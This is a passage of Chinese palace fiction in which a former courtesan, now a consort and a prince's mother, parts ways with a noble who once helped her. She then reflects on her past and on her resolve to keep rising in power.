他穿着王府世子的衣裳,举手投足间自有一种从容气度。比起当年广陵城里那个穿旧衣、四处奔波的人,如今的他终于才像那个桃枝姐嘴里说的贵公子。 他替越心姐问我过得好不好,说等再见要请我喝酒。 我听见这些,是真的笑了。越心姐还是那样。她问的问题,永远比旁人更像人话。 他说越心姐惦记我。 我知道。 我也惦记她。 可惦记能有什么用? 我同公子说,往后不能随意说话。 他看着我。 我知道他听懂了。 我怕失宠,怕皇子养不大,怕朱家被拖进不该拖的事,也怕自己一步走错,又回到那种任人拿捏的地方。人在底下时怕,爬上来之后更怕。因为从高处摔下去,比从低处摔下去更疼。 我没有对他说,我从一开始便是想借他往上爬。 这话没有必要。 说出来太难看,也太伤旧情。人和人之间,能维持一点体面时,便不要轻易撕破。何况他未必不知道。他那么聪明,怎会全然看不出? 我只说,宫中规矩太多,我如今保住自己已不容易,不能再帮公子更多。 他沉默了很久。 我心里并不轻松。 公子不是寻常恩客,也不是可以随手敷衍的男人。他给过我机会。没有他,我也许早在某处楼里重新挂牌,或者死在路上,或者嫁给一个不知什么样的人。可他给我的机会,我已经抓住了。抓住之后,往后怎么走,便该由我自己说了算。 他当年同我说,遇到难处先保住自己的命。 我记了很久。 今日,我不过是照着这句话做。 后来时辰到了。 朱老夫人回到榻边,说了几句养身养心的话。公子低着头,我看得出来,他心里不大好受。可他什么也没说。这样也好。我们之间,若真吵起来,反倒难看。 他告退时,我看了他一眼。 我不知道他会不会恨我。 也许不会。 他那样的人,只会记下,然后慢慢把我从他原先的安排里撤出去。这样也好。被他撤出去,总比被我自己扯断更体面。 他走后,我靠在榻上歇了很久。 宫女进来替我掖被角,说世子走了,朱老夫人也出宫了。我嗯了一声。孩子在外间睡着,小小一团,被乳母抱着。屋里药香未散,窗外日光正好,宫人们进出都放轻脚步。 我闭上眼,忽然想起往事。 想起最初被卖进去的那座青楼,想起那些挂满红灯的长廊和永远散不尽的脂粉气;想起后来遇见的桃枝、越心、阿盲、阿月,想起春宜馆那座白日像家、夜里像买卖场的旧院子;又想起朱家安静的长廊、窗下的书案、朱老夫人手边那只暖炉,还有那些待我极好的朱家人。 我当然记得。 可记得不是要回去。 林鸯鸯从来没有死。 她只是被我藏起来了。 如今活在宫里的,是朱甜,是恬贵人,是皇子的母亲。她要笑,要忍,要得宠,要养大孩子,要一步一步爬到更高。 我向来认为,女人靠美貌向上爬,和男人靠才能向上爬,本质并没有什么不同。 都是看清上位者想要什么,再把自己装成他愿意用、愿意赏、愿意留在身边的人。 有人把这叫下贱。 我把这叫本事。 而我这辈子,绝不会停在半路。 我要继续往上爬。 爬到这世上再没有人敢随手把我卖掉,安排掉,推下去。 若能再高一些。 高到人人见我都要低头。 那就更好。